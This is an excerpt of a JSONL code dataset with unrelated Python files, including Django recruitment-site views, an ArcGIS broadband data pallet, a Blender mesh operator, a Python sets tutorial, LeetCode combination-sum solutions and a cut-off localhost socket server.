= self.request.GET.get('insert_onboard_time')\n a_salary = self.request.GET.get('insert_salary')\n a_contract = self.request.GET.get('insert_contract')\n a_require = self.request.GET.get('insert_require')\n a_company_name = self.request.GET.get('insert_company_name')\n a_QQ = self.request.GET.get('insert_QQ')\n a_contact = self.request.GET.get('insert_contact')\n a_tel = self.request.GET.get('insert_tel')\n a_address = self.request.GET.get('insert_address')\n a_property = self.request.GET.get('insert_property')\n a_email = self.request.GET.get('insert_email')\n a_introduction = self.request.GET.get('insert_introduction')\n if a_duty:\n if a_company_name:\n if a_tel:\n Library.objects.create(\n ship_age=a_ship_age,\n duty=a_duty,\n certificate_level=a_certificate_level,\n special_certificate=a_special_certificate,\n route_area=a_route_area,\n recruitment_ship=a_recruitment_ship,\n tonnage=a_tonnage,\n time=a_time,\n onboard_location=a_onboard_location,\n onboard_time=a_onboard_time,\n salary=a_salary,\n contract=a_contract,\n require=a_require,\n company_name=a_company_name,\n QQ=a_QQ,\n contact=a_contact,\n tel=a_tel,\n address=a_address,\n property=a_property,\n email=a_email,\n introduction=a_introduction,\n )\n library_list = Library.objects.all()\n else:\n library_list=Library.objects.all()\n return library_list\n\n def get_context_data(self, **kwargs):\n return super(Recruit, self).get_context_data(**kwargs)\n\n\nclass Company_Detail(DetailView):\n model = Library\n template_name = \"recruit/company_detail.html\"\n context_object_name = \"recruit\"\n pk_url_kwarg = 'library_id'\n\n # pk_url_kwarg用于接受一个来自url中的主键,然后会根据这个主键进行查询\n # 我们之前在urlpatterns已经捕获article_id\n\n def get_object(self, queryset=None):\n # 指定以上几个属性,已经能够返回一个DetailView视图了,为了让文章以markdown形式展现,我们重写get_object()方法。\n # 返回该视图要显示的对象\n\n obj = super(Company_Detail, self).get_object()\n return obj\n\n # 第五周新增\n def get_context_data(self, **kwargs):\n return super(Company_Detail, self).get_context_data(**kwargs)\n\n\nclass CV_Detail(DetailView):\n model = PersonalCV\n template_name = \"recruit/cv_detail.html\"\n context_object_name = \"cv\"\n pk_url_kwarg = 'cv_id'\n\n # pk_url_kwarg用于接受一个来自url中的主键,然后会根据这个主键进行查询\n # 我们之前在urlpatterns已经捕获article_id\n\n def get_object(self, queryset=None):\n # 指定以上几个属性,已经能够返回一个DetailView视图了,为了让文章以markdown形式展现,我们重写get_object()方法。\n # 返回该视图要显示的对象\n\n obj = super(CV_Detail, self).get_object()\n return obj\n\n # 第五周新增\n def get_context_data(self, **kwargs):\n return super(CV_Detail, self).get_context_data(**kwargs)\n\n\nclass PostArticle(ListView):\n template_name = \"news/post_article.html\"\n context_object_name = \"post_article\"\n\n def get_queryset(self):\n a_title = self.request.GET.get('insert_title')\n a_body = self.request.GET.get('insert_body')\n if a_title:\n if a_body:\n Article.objects.create(\n title=a_title,\n body=a_body,\n status='p',\n )\n post_article = Article.objects.all()\n return post_article\n\n def get_context_data(self, **kwargs):\n return super(PostArticle, self).get_context_data(**kwargs)\n\n\nclass AddContact(ListView):\n template_name = \"contact/add_contact.html\"\n context_object_name = \"contact_list\"\n\n def get_queryset(self):\n a_name = self.request.GET.get('insert_name')\n a_QQ = self.request.GET.get('insert_QQ')\n a_email = self.request.GET.get('insert_email')\n a_tel = self.request.GET.get('insert_tel')\n a_duty = self.request.GET.get('insert_duty')\n a_company_name = self.request.GET.get('insert_company_name')\n if a_name:\n if a_duty:\n Contact.objects.create(\n name=a_name,\n QQ=a_QQ,\n email=a_email,\n tel=a_tel,\n duty=a_duty,\n company_name=a_company_name,\n )\n contact_list = Contact.objects.all()\n return contact_list\n\n def get_context_data(self, **kwargs):\n return super(AddContact, self).get_context_data(**kwargs)\n\n\"\"\"\n def getuser(self, request):\n b_username = request.COOKIES.get('username')\n title_list = User.objects.filter(username__exact=b_username)[0:1]\n\n if request.method == 'POST':\n a_user = request.POST['user']\n a_call_name = request.POST['call_name']\n a_tel = request.POST['tel']\n a_work_age = request.POST['work_age']\n a_duty = request.POST['duty']\n a_certificate_level = request.POST['certificate_level']\n a_special_certificate = request.POST.get('special_certificate', False)\n a_route_area = request.POST.get('route_area', False)\n a_recruitment_ship = request.POST.get('recruitment_ship', False)\n a_post_time = request.POST.get('post_time', False)\n\n userinformation = User.objects.get(username=a_user)\n userinformation.call_name = a_call_name\n userinformation.work_age = a_work_age\n userinformation.tel = a_tel\n userinformation.duty = a_duty\n userinformation.certificate_level = a_certificate_level\n userinformation.special_certificate = a_special_certificate\n userinformation.route_area = a_route_area\n userinformation.recruitment_ship = a_recruitment_ship\n userinformation.post_time = a_post_time\n userinformation.save()\n\n return render_to_response('users/personal.html', {'title_list': title_list})\n\"\"\"","sub_path":"shipmanager/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":24093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"422773923","text":"import arcpy\nfrom forklift.models import Pallet\nfrom forklift.exceptions import ValidationException\nfrom forklift.core import check_schema\nfrom os.path import join, dirname, realpath\nfrom os import environ\nfrom forklift import config as forklift_config\n\n\ncachedServiceBase = r'Broadband\\{}Cached.MapServer'\ndatabaseConnections = {'Dev': 'UBBMAP_LOCAL.sde',\n 'Staging': 'UBBMAP_STAGE.sde',\n 'Production': 'UBBMAP.sde'}\n\n\nclass BroadbandPallet(Pallet):\n def build(self, configuration):\n self.configuration = configuration\n\n self.arcgis_services = [('Broadband/ExportWebMap', 'GPServer'),\n ('Broadband/FixedCached', 'MapServer'),\n ('Broadband/MobileCached', 'MapServer'),\n ('Broadband/ProviderCoverage', 'MapServer'),\n ('Broadband/WirelineCached', 'MapServer')]\n\n self.broadband = join(self.staging_rack, 'broadband.gdb')\n self.location = join(self.staging_rack, 'location.gdb')\n self.demographic = join(self.staging_rack, 'demographic.gdb')\n self.ubbmap = join(self.garage, databaseConnections[configuration])\n self.sgid = join(self.garage, 'SGID.sde')\n self.bb_service = 'UBBMAP.UBBADMIN.BB_Service'\n\n self.copy_data = [self.broadband, self.location, self.demographic]\n\n self.add_crate((self.bb_service, self.ubbmap, self.broadband, 'BB_Service'))\n self.add_crate(('UBBMAP.UBBADMIN.BB_Providers_Table', self.ubbmap, self.broadband, 'BB_Providers_Table'))\n self.add_crate(('ZoomLocations', self.sgid, self.location))\n self.add_crate(('PopBlockAreas2010_Approx', self.sgid, self.demographic))\n\n def validate_crate(self, crate):\n fltr = 'TRANSTECH <> 60'\n bb_service = 'UBBMAP.UBBADMIN.BB_Service'\n providerTableName = 'UBBMAP.UBBADMIN.BB_Providers_Table'\n providerTableFieldName = 'Code'\n coverageProviders = [] # list to hold all providers in coverage data\n tableProviders = [] # list of all providers in providers table\n coverageFieldName = 'UTProvCode'\n nonNullFields = ['\"' + coverageFieldName + '\" IS NULL OR \"' + coverageFieldName + '\" = \\'\\'',\n '\"MAXADUP\" IS NULL OR \"MAXADUP\" = 0',\n '\"MAXADDOWN\" IS NULL OR \"MAXADDOWN\" = 0',\n '\"TRANSTECH\" IS NULL OR \"TRANSTECH\" = 0']\n errors = []\n\n if crate.source_name != 'BB_Service':\n return NotImplemented\n\n #: this will raise if it doesn't pass...\n check_schema(crate)\n\n arcpy.env.workspace = crate.source_workspace\n arcpy.env.geographicTransformations = 'NAD_1983_To_WGS_1984_5'\n\n self.log.info(\"checking non-null fields\")\n\n # create layer for selecting\n self.log.info('creating layer')\n layerName = bb_service + 'Layer'\n arcpy.MakeFeatureLayer_management(bb_service, layerName, fltr)\n\n # loop through fields\n for query in nonNullFields:\n self.log.info('query: ' + query)\n arcpy.SelectLayerByAttribute_management(layerName, 'NEW_SELECTION', query)\n cnt = arcpy.GetCount_management(layerName)\n\n if int(str(cnt)) > 0:\n errors.append('ERROR: null or empty values found in ' + bb_service + ':' + query)\n\n # get search cursor\n self.log.info('building list of providers in coverage feature class')\n cur = arcpy.SearchCursor(bb_service, fltr, '', coverageFieldName)\n row = cur.next()\n while row:\n code = row.getValue(coverageFieldName)\n\n # add to list of providers\n if not [code, bb_service] in coverageProviders:\n coverageProviders.append([code, bb_service])\n\n row = cur.next()\n del cur\n\n self.log.info('Finished with ' + bb_service)\n\n # get cursor for provider table\n self.log.info('building list of providers in providers table')\n prows = arcpy.SearchCursor(providerTableName, \"Exclude IS NULL OR Exclude = ''\")\n row = prows.next()\n while row:\n tableProviders.append(row.getValue(providerTableFieldName))\n\n row = prows.next()\n del prows, row\n\n # loop through coverage providers and make sure that they are in the provider table list\n self.log.info('looking for providers that show up in coverage data but not providers table')\n missingProviders = []\n for row in coverageProviders:\n if not row[0] in tableProviders:\n missingProviders.append(row[0])\n\n # check for data errors\n if len(errors) > 0:\n self.log.info('ERRORS IN DATA:')\n for e in errors:\n self.log.info(e)\n else:\n self.log.info('NO ERRORS IN DATA')\n\n # check for mis matching providers\n if len(missingProviders) > 0:\n self.log.info('MISSING PROVIDERS THAT ARE IN THE COVERAGE DATA BUT NOT IN THE PROVIDERS TABLE:')\n errors.append('missing providers in the coverage data: {}'.format(missingProviders))\n for mp in missingProviders:\n self.log.info(str(mp))\n else:\n self.log.info('NO PROVIDERS FOUND IN THE COVERAGE DATA THAT ARE NOT IN THE PROVIDERS TABLE.')\n\n if len(missingProviders) > 0 or len(errors) > 0:\n validation_message = 'Errors were found during validation: {}'.format(errors)\n self.log.info(validation_message)\n raise ValidationException(validation_message)\n\n return True\n\n def post_copy_process(self):\n cachedServices = ['Wireline', 'Fixed', 'Mobile']\n scales = [\n 591657527.591555,\n 295828763.795777,\n 147914381.897889,\n 73957190.948944,\n 36978595.474472,\n 18489297.737236,\n 9244648.868618,\n 4622324.434309,\n 2311162.217155,\n 1155581.108577,\n 577790.554289,\n 288895.277144,\n 144447.638572,\n 72223.819286\n ]\n\n self.log.info('recaching')\n for cs in cachedServices:\n self.log.info(cs)\n\n for server in forklift_config.get_config_prop('servers').items():\n server = server[1]\n #: path to server connection file in garage based on machine name\n cache_path = join(self.garage, server['machineName'] + '.ags', cachedServiceBase.format(cs))\n arcpy.server.ManageMapServerCacheTiles(cache_path, scales, 'RECREATE_ALL_TILES', num_of_caching_service_instances=1)\n\n index_names = ['MAXADDOWN', 'MAXADUP', 'TransTech', 'UTProvCode']\n bb_service = join(self.broadband, self.bb_service.split('.')[-1])\n indexes = [x.name for x in arcpy.ListIndexes(bb_service)]\n for field in index_names:\n if field not in indexes:\n self.log.info('building index for: ' + field)\n arcpy.AddIndex_management(bb_service, field, field)\n\nif __name__ == '__main__':\n import logging\n\n pallet = BroadbandPallet()\n pallet.configure_standalone_logging()\n pallet.build('Production')\n pallet.post_copy_process()\n","sub_path":"scripts/broadband_pallet.py","file_name":"broadband_pallet.py","file_ext":"py","file_size_in_byte":7312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"151672714","text":"# p398.4.a - in book \r\nL = [1,2,4,8,16,32,64]\r\nX = 5\r\ni = 0\r\nwhile i < len(L):\r\n if 2 ** X == L[i]:\r\n print('at index', i)\r\n break # use break to skip optional else\r\n i += 1\r\nelse:\r\n print(X, 'not found')\r\n","sub_path":"python_code/p398.4.a.py","file_name":"p398.4.a.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"420041569","text":"# -*- conding:utf-8 -*-\nimport pypyodbc\n\npathfile = r'D:\\work.mdb'\nconnStr = r'Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=%s;' % pathfile\n\n#connStr = r'Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=D:\\work1.mdb;'\n\nprint(connStr)\n\nconnection = pypyodbc.connect(connStr)\n\n#sql = 'CREATE TABLE info (proxy VARCHAR(25), city_name VARCHAR(25));'\n\n#connection.cursor().execute(sql).commit()\nx = {'114.215.148.80:8080':'重庆','123456789':'不知身的'}\nfor i in x:\n sql = \"insert into info(proxy,city_name)VALUES (?,?)\"\n connection.cursor().execute(sql,[i,x[i]]).commit()","sub_path":"python/demo/0601/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"604189461","text":"import bpy, bmesh, math, mathutils\r\nfrom mathutils import Quaternion\r\nfrom bpy.props import IntProperty, BoolProperty, FloatProperty\r\nfrom ... utils.addons import addon_exists\r\n#from ... utils.operations import invoke_individual_resizing\r\nfrom ... preferences import get_preferences\r\nfrom ... ui_framework.master import Master\r\nfrom ...ui_framework.utils.mods_list import get_mods_list\r\nfrom ... utility.base_modal_controls import Base_Modal_Controls\r\n\r\n# Cursor Warp imports\r\nfrom ... utils.toggle_view3d_panels import collapse_3D_view_panels\r\nfrom ... utils.modal_frame_drawing import draw_modal_frame\r\nfrom ... utils.cursor_warp import mouse_warp\r\nfrom ... addon.utility import method_handler\r\n\r\n\r\nclass HOPS_OT_VertcircleOperator(bpy.types.Operator):\r\n bl_idname = \"view3d.vertcircle\"\r\n bl_label = \"Vert To Circle\"\r\n bl_options = {\"REGISTER\", \"UNDO\", \"BLOCKING\"}\r\n bl_description = \"\"\"Vert To_Circle\r\n\r\nLMB - Convert vert to circle\r\nLMB + Ctrl - Convert nth vert to circle\r\nLMB + Shift - Use new circle method\r\n\r\nreq. Looptools\r\n\"\"\"\r\n\r\n new_method: BoolProperty(name=\"Use New Method\", description=\"Use the new method for creating circles\", default=False)\r\n divisions: IntProperty(name=\"Division Count\", description=\"Amount Of Vert divisions\", default=4, min=1, max=64)\r\n segments: IntProperty(name=\"Target Segments\", description=\"Target amount of circle segments\", default=16, min=4, max=256)\r\n radius: FloatProperty(name=\"Circle Radius\", description=\"Circle Radius\", default=0.2, min=0.001)\r\n message = \"< Default >\"\r\n nth_mode: BoolProperty(name='Nth Mode', description='Skip every other vert', default=False)\r\n face_mode: BoolProperty(name='Face Mode', description='Switch to face select mode', default=False)\r\n\r\n @classmethod\r\n def poll(cls, context):\r\n return getattr(context.active_object, \"type\", \"\") == \"MESH\"\r\n\r\n\r\n def draw(self, context):\r\n layout = self.layout\r\n\r\n if addon_exists(\"mesh_looptools\"):\r\n layout.prop(self, 'new_method')\r\n\r\n row = layout.row()\r\n row.prop(self, 'nth_mode')\r\n row.prop(self, 'face_mode')\r\n\r\n if self.new_method:\r\n layout.prop(self, 'segments')\r\n layout.prop(self, 'radius')\r\n\r\n else:\r\n layout.prop(self, 'divisions')\r\n layout.prop(self, 'radius')\r\n\r\n\r\n def execute(self, context):\r\n self.object = context.object\r\n self.bm = bmesh.from_edit_mesh(self.object.data)\r\n self.make_circles(context)\r\n toggle_mode()\r\n return {'FINISHED'}\r\n\r\n\r\n def invoke(self, context, event):\r\n\r\n if 'vertex_only' in bmesh.ops.bevel.__doc__:\r\n self.bm_bevel = bm_bevel_28\r\n else:\r\n self.bm_bevel = bm_bevel_29\r\n\r\n self.base_controls = Base_Modal_Controls(context=context, event=event)\r\n self.master = None\r\n\r\n self.c_offset = 40\r\n\r\n self.div_past = self.divisions\r\n self.object = context.active_object\r\n\r\n self.nth_mode = event.ctrl\r\n self.face_mode = False\r\n\r\n self.new_method = event.shift\r\n if not addon_exists(\"mesh_looptools\"):\r\n self.new_method = True\r\n\r\n self.object.update_from_editmode()\r\n self.bm = bmesh.from_edit_mesh(self.object.data)\r\n self.backup = self.object.data.copy()\r\n\r\n self.make_circles(context)\r\n\r\n #UI System\r\n self.master = Master(context=context)\r\n self.master.only_use_fast_ui = True\r\n self.original_tool_shelf, self.original_n_panel = collapse_3D_view_panels()\r\n self.draw_handle = bpy.types.SpaceView3D.draw_handler_add(self.safe_draw_shader, (context,), 'WINDOW', 'POST_PIXEL')\r\n context.window_manager.modal_handler_add(self)\r\n return {'RUNNING_MODAL'}\r\n\r\n\r\n def modal (self, context, event):\r\n\r\n # Base Systems\r\n self.master.receive_event(event=event)\r\n self.base_controls.update(context, event)\r\n mouse_warp(context, event)\r\n\r\n if self.base_controls.pass_through:\r\n return {'PASS_THROUGH'}\r\n\r\n self.bm = bmesh.from_edit_mesh(self.object.data)\r\n\r\n if self.base_controls.scroll:\r\n if self.new_method:\r\n self.segments += self.base_controls.scroll\r\n else:\r\n self.divisions += self.base_controls.scroll\r\n\r\n restore(self.bm, self.object.data)\r\n self.make_circles(context)\r\n\r\n elif self.base_controls.mouse:\r\n if get_preferences().property.modal_handedness == 'LEFT':\r\n self.radius -= self.base_controls.mouse\r\n else:\r\n self.radius += self.base_controls.mouse\r\n\r\n if self.new_method:\r\n restore(self.bm, self.object.data)\r\n self.make_circles(context)\r\n else:\r\n bpy.ops.mesh.looptools_circle(custom_radius=True, radius=self.radius)\r\n\r\n elif event.type == 'M' and event.value == 'PRESS':\r\n if addon_exists(\"mesh_looptools\"):\r\n self.new_method = not self.new_method\r\n restore(self.bm, self.object.data)\r\n self.make_circles(context)\r\n\r\n if self.base_controls.confirm:\r\n if event.shift:\r\n bpy.ops.mesh.select_mode(type='FACE')\r\n self.face_mode = True\r\n\r\n bpy.data.meshes.remove(self.backup)\r\n self.remove_shader()\r\n toggle_mode()\r\n collapse_3D_view_panels(self.original_tool_shelf, self.original_n_panel)\r\n self.master.run_fade()\r\n return {'FINISHED'}\r\n\r\n if self.base_controls.cancel:\r\n restore(self.bm, self.object.data)\r\n bmesh.update_edit_mesh(self.object.data, destructive=True)\r\n bpy.data.meshes.remove(self.backup)\r\n toggle_mode()\r\n self.remove_shader()\r\n collapse_3D_view_panels(self.original_tool_shelf, self.original_n_panel)\r\n self.master.run_fade()\r\n return {'CANCELLED'}\r\n\r\n self.draw_ui(context)\r\n context.area.tag_redraw()\r\n return {'RUNNING_MODAL'}\r\n\r\n\r\n def make_circles(self, context):\r\n '''Turn verts into circles with one of two methods'''\r\n\r\n if self.nth_mode:\r\n bpy.ops.mesh.select_mode(type='VERT')\r\n bpy.ops.mesh.select_nth()\r\n\r\n if self.new_method or not addon_exists(\"mesh_looptools\"):\r\n new_circle(self.object, self.bm, self.segments, self.radius)\r\n else:\r\n setup_verts(self.object, self.bm, self.divisions, self.c_offset, self.bm_bevel)\r\n bpy.ops.mesh.looptools_circle(custom_radius=True, radius=self.radius)\r\n\r\n if self.face_mode:\r\n bpy.ops.mesh.select_mode(type='FACE')\r\n\r\n\r\n def draw_ui(self, context):\r\n\r\n self.master.setup()\r\n\r\n # -- Fast UI -- #\r\n if self.master.should_build_fast_ui():\r\n\r\n string = 'Segments' if self.new_method else 'Divisions'\r\n number = self.segments if self.new_method else self.divisions\r\n\r\n # Main\r\n win_list = []\r\n if get_preferences().ui.Hops_modal_fast_ui_loc_options != 1:\r\n win_list.append(\"{:.0f}\".format(number))\r\n win_list.append(\"{:.3f}\".format(self.radius))\r\n else:\r\n if self.new_method:\r\n win_list.append(\"Circle (alt)\")\r\n else:\r\n win_list.append(\"Circle\")\r\n win_list.append(\"{}: {:.0f}\".format(string, number))\r\n win_list.append(\"Radius: {:.3f}\".format(self.radius))\r\n\r\n # Help\r\n help_items = {\"GLOBAL\" : [], \"STANDARD\" : []}\r\n\r\n help_items[\"GLOBAL\"] = [\r\n (\"M\", \"Toggle mods list\"),\r\n (\"H\", \"Toggle help\"),\r\n (\"~\", \"Toggle UI Display Type\"),\r\n (\"O\", \"Toggle viewport rendering\")\r\n ]\r\n\r\n help_items[\"STANDARD\"] = [\r\n (\"Shift + LMB\", \"Apply and switch to face select mode\"),\r\n (\"LMB\", \"Apply\"),\r\n (\"RMB\", \"Cancel\"),\r\n (\"Scroll\", \"Add divisions\"),\r\n (\"Mouse\", \"Adjust the radius\")\r\n ]\r\n\r\n if addon_exists(\"mesh_looptools\"):\r\n help_items[\"STANDARD\"].append([\"M\", \"Switch Circle Method\"])\r\n else:\r\n help_items[\"STANDARD\"].append([\" \", \"LOOPTOOLS not enabled\"])\r\n\r\n # Mods\r\n mods_list = get_mods_list(mods=bpy.context.active_object.modifiers)\r\n\r\n self.master.receive_fast_ui(win_list=win_list, help_list=help_items, image=\"Tthick\", mods_list=mods_list)\r\n\r\n self.master.finished()\r\n\r\n ####################################################\r\n # CURSOR WARP\r\n ####################################################\r\n\r\n def safe_draw_shader(self, context):\r\n method_handler(self.draw_shader,\r\n arguments = (context,),\r\n identifier = 'UI Framework',\r\n exit_method = self.remove_shader)\r\n\r\n\r\n def remove_shader(self):\r\n '''Remove shader handle.'''\r\n\r\n if self.draw_handle:\r\n self.draw_handle = bpy.types.SpaceView3D.draw_handler_remove(self.draw_handle, \"WINDOW\")\r\n\r\n\r\n def draw_shader(self, context):\r\n '''Draw shader handle.'''\r\n\r\n draw_modal_frame(context)\r\n\r\n\r\ndef toggle_mode():\r\n '''Toggle to object mode and back, to fix the bmesh curse'''\r\n\r\n bpy.ops.object.mode_set(mode='OBJECT')\r\n bpy.ops.object.mode_set(mode='EDIT')\r\n\r\n\r\ndef new_circle(obj, bm, segments, radius):\r\n '''Cut circles around selected vertices'''\r\n selected = [v for v in bm.verts if v.select and v.is_manifold and not v.is_boundary]\r\n bpy.ops.mesh.select_all(action='DESELECT')\r\n\r\n for vert in selected:\r\n edges = vert.link_edges[:]\r\n lengths = [e.calc_length() for e in edges]\r\n clamped = min(lengths + [radius])\r\n\r\n for edge, length in zip(edges, lengths):\r\n factor = clamped / length if length > 0 else 0\r\n bmesh.utils.edge_split(edge, vert, factor)\r\n\r\n for face in vert.link_faces[:]:\r\n loop = next(l for l in face.loops if l.vert is vert)\r\n vert_a = loop.link_loop_next.vert\r\n vert_b = loop.link_loop_prev.vert\r\n\r\n angle = loop.calc_angle()\r\n if not loop.is_convex:\r\n angle = math.tau - angle\r\n\r\n num = round(segments * angle / math.tau)\r\n vec = vert_a.co - vert.co\r\n nor = face.normal\r\n\r\n quats = [Quaternion(nor, angle * i / num) for i in range(1, num)]\r\n coords = [quats[i - 1] @ vec + vert.co for i in range(1, num)]\r\n bmesh.utils.face_split(face, vert_a, vert_b, coords=coords)\r\n\r\n for face in vert.link_faces[:]:\r\n face.select = True\r\n\r\n bmesh.update_edit_mesh(obj.data)\r\n\r\n\r\ndef setup_verts(object, bm, divisions, c_offset, bevel):\r\n '''Set up verts to be converted to circle by loop tools.'''\r\n \r\n selected_verts = [v for v in bm.verts if v.select]\r\n result = bevel(bm, input_geo=selected_verts, divisions=divisions, c_offset=c_offset)\r\n\r\n faces = result['faces']\r\n faces_clean = bmesh.ops.dissolve_faces(bm, faces=faces)\r\n\r\n for f in faces_clean['region']:\r\n f.select = True\r\n\r\n bmesh.update_edit_mesh(object.data, destructive=True)\r\n\r\n\r\ndef restore (bm, mesh):\r\n '''Reasign original mesh data back to the selected object.'''\r\n\r\n bmesh.ops.delete(bm, geom=bm.verts, context='VERTS')\r\n bm.from_mesh(mesh)\r\n\r\n\r\ndef bm_bevel_28(bm, input_geo=[], divisions=2, c_offset=40):\r\n return bmesh.ops.bevel(bm, geom=input_geo, vertex_only=True , offset=c_offset,\r\nloop_slide=True, offset_type='PERCENT', clamp_overlap=True, segments=divisions, profile=0)\r\n\r\ndef bm_bevel_29(bm, input_geo=[], divisions=2, c_offset=40):\r\n return bmesh.ops.bevel(bm, geom=input_geo, affect='VERTICES', offset=c_offset,\r\nloop_slide=True, offset_type='PERCENT', clamp_overlap=True, segments=divisions, profile=0)\r\n","sub_path":"operators/meshtools/meshtools.py","file_name":"meshtools.py","file_ext":"py","file_size_in_byte":12099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"535592570","text":"\"\"\"\n如果用大括号括起来一堆数字,但是没体现对应关系,那么Python就会自动认为这堆玩意就是集合\n集合的特点:\n1、唯一,会自动过滤一些重复的数据\n2、无序性,无法通过索引集合中的某一个数\n\"\"\"\nnum1 = {}\nprint(type(num1))\nnum2 ={1,2,3,5,3,3,2,1,1,24,43,43}\nprint(type(num2))\nprint(num2)\n# 2、无序性,无法通过索引集合中的某一个数\n# print(num2[2])\n\n\n# 创建集合\n# 方法一: 直接把一堆元素用大括号({})括起来,用逗号分隔元素\nset1 = {1,2,2,4,2,11,11,'hi','hello word'}\nset2 = set([1,2,2,4,2,11,11,'hi','hello word']) # 方法二: 用 set() 创建\nprint(set1 == set2)\n\n# 现在如果要求要除去列表 [1,3,35,33,2,1,3,2,1,2,5,1,1,24,4,4] 中重复的元素。\nlist1 = [1,3,35,33,2,1,3,2,1,2,5,1,1,24,4,4]\ntemp = list1[:]\nlist1.clear()\nfor each in temp:\n if each not in list1:\n list1.append(each)\n\nprint(list1)\n\nlist2 = [1,2,31,11,11,2,2,24]\nlist2 = list(set(list2))\nprint(list2)\n\n\"\"\"\n访问集合\n因为集合中的元素是无序的,所以并不能像序列那样用下标进行访问,但是可以使用迭代,把集合中的数据一个个读取出来:\n\"\"\"\nset1 = {1,2,3,4,5,4,32,12,3,2,1,1}\nfor each in set1:\n print( each,end=\" \")\n\n# 当然也可以用in 和 not in来判断一个元素是否在集合中存在:\nprint(0 in set1)\nprint(11 not in set1)\n\n# 也可以使用 add()方法 在集合的末尾添加元素,使用remove()方法删除集合中已知的元素:\nset1.add(60)\nprint(set1)\nset1.remove(5)\nprint(set1)\n\n\n# 不可变的集合\n# 有时候希望集合中的数据具有稳定性,也就是说,像元组一样不能随意地增加或删除集合的元素。那么我们可以定义不可变集合,\n# 这里使用的是 frozenset() 函数,没错,就是把函数 frozen(冰冻)起来:\nset3= frozenset({1,2,3,4,5})\nprint(set3)\n\nset3.add(125) # 冰冻的集合不能进行修改","sub_path":"py_25 Create and access collections.py","file_name":"py_25 Create and access collections.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"556010714","text":"# Given a collection of candidate numbers (C) and a target number (T), \n# find all unique combinations in C where the candidate numbers sums to T.\n# \n# Each number in C may only be used once in the combination.\n# \n# Note:\n# All numbers (including target) will be positive integers.\n# Elements in a combination (a1, a2, ... , ak) must be in non-descending order. (ie, a1 <= a2 <= ... <= ak).\n# The solution set must not contain duplicate combinations.\n# For example, given candidate set 10,1,2,7,6,1,5 and target 8, \n# A solution set is: \n# [1, 7] \n# [1, 2, 5] \n# [2, 6] \n# [1, 1, 6]\n#\n\nclass Solution(object):\n def combinationSum2(self, candidates, target):\n \"\"\"\n :type candidates: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n result = []\n intermediate = []\n self.combinationSum2Dfs(target, sorted(candidates), 0, intermediate, result)\n return result\n\n def combinationSum2Dfs(self, target, candidates, current, intermediate, result):\n if target == 0 and intermediate not in result: # 这个也是和1不一样的地方\n result.append(intermediate)\n\n for i in range(current, len(candidates)):\n if target < candidates[i]:\n return\n self.combinationSum2Dfs(target-candidates[i], candidates, i+1, intermediate+[candidates[i]], result)\n # http://bangbingsyb.blogspot.com/2014/11/leetcode-combination-sum-i-ii.html\n # 和I的唯一区别是每个candidate只能用一次。只需要在调用下一层递归时,查找范围的起始数字不是当前数字而是下一个数字即可。\n\n # 这样也行,存一个Prev然后对比现在\n def combinationSumRecu(self, candidates, result, start, intermediate, target):\n if target == 0:\n result.append(list(intermediate))\n prev = 0\n while start < len(candidates) and candidates[start] <= target:\n if prev != candidates[start]:\n intermediate.append(candidates[start])\n self.combinationSumRecu(candidates, result, start + 1, intermediate, target - candidates[start])\n intermediate.pop()\n prev = candidates[start]\n start += 1\n\n\n # 或者这样,注意target 那里是reuturn,因为接下来因为已经sorted不可能有结果了,直接返回\n # 而candidates[i] == candidates[i-1]是continue,因为只是Bypass这个\n def combinationSum2Dfs(self, target, candidates, current, intermediate, result):\n if target == 0:\n result.append(intermediate)\n\n for i in range(current, len(candidates)):\n if target < candidates[i]:\n return\n if i > current and candidates[i] == candidates[i-1]: # 当i == current,第一次出现的时候是可以的\n continue\n self.combinationSum2Dfs(target-candidates[i], candidates, i+1, intermediate+[candidates[i]], result)\n","sub_path":"combination-sum-ii-(M)-(40).py","file_name":"combination-sum-ii-(M)-(40).py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"429390775","text":"import socket\nimport json\n\nHOST = \"localhost\"\nPORT = 9999\n\nsocket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsocket_server.bind((HOST, PORT))\nsocket_server.listen()\n\nif __name__ == \"__main__\":\n while True:\n print(\"Waiting connection\")\n connection, client_address = socket_server.accept()\n\n try:\n data = json.dumps(\n {\n \"PROTOCOL\": \"SAL\",\n \"STATE\": \"WAITING\",\n \"message\": \"From server >>> Connection with Server\"\n }\n )\n data = bytes(data, encoding=\"utf-8\")\n connection.send(data)\n print(\"Connection:\", client_address)\n except socket.error:\n print(\"Fail Connection\")\n continue\n\n while True:\n try:\n data = connection.recv(1024)\n data = json.loads(data.decode(\"utf-8\"))\n\n if data[\"STATE\"] == \"WAITING\":\n print(\"Respond to\", client_address)\n data = json.dumps(\n {\n \"PROTOCOL\": \"SAL\",\n \"STATE\": \"ACTIVE\",\n \"message\": \"From server >>> Success\",\n \"link\": \"google.com/search?q=%s\" % data[\"keyword\"]\n }\n )\n connection.send(bytes(data, encoding=\"utf-8\"))\n\n elif data[\"STATE\"] == \"ACTIVE\":\n data = json.dumps(\n {\n \"PROTOCOL\": \"SAL\",\n \"STATE\": \"WAITING\",\n \"message\": \"From server >>> Waiting next request from client\"\n }\n )\n connection.send(bytes(data, encoding=\"utf-8\"))\n\n elif data[\"STATE\"] == \"CLOSE\":\n data = json.dumps(\n {\n \"PROTOCOL\": \"SAL\",\n \"STATE\": \"CLOSE\",\n \"message\": \"From server >>> Disconnect\"\n }\n )\n connection.send(bytes(data, encoding=\"utf-8\"))\n connection.close()\n print(\"Disconnect with\", client_address)\n break\n except socket.error:\n 